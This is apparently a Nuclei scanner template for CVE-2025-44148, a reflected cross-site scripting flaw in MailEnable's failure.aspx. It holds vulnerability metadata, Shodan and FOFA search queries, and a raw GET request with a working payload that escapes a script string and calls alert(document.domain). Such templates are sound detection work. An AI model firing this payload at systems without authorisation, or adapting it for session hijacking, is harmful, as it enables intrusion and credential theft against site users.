CVE-2025-44148: MailEnable Mail Service < v10 - Cross-Site Scripting

id: CVE-2025-44148

info:
  name: MailEnable Mail Service < v10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers through the state parameter in failure.aspx, potentially leading to session hijacking and credential theft.
  remediation: |
    Upgrade to MailEnable version 10 or later that properly sanitizes user input in the failure.aspx component.
  reference:
    - https://github.com/barisbaydur/CVE-2025-44148
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44148
  classification:
    epss-score: 0.10898
    epss-percentile: 0.93184
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-44148
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"MailEnable"
    fofa-query: title="MailEnable"
  tags: cve,cve2025,xss,mailenable,vuln

http:
  - raw:
      - |
        GET /Mondo/lang/sys/Failure.aspx?state=19753%22;}alert(document.domain);function%20test(){%22 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '}alert(document.domain);function test'
          - 'Authentication Failed'
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
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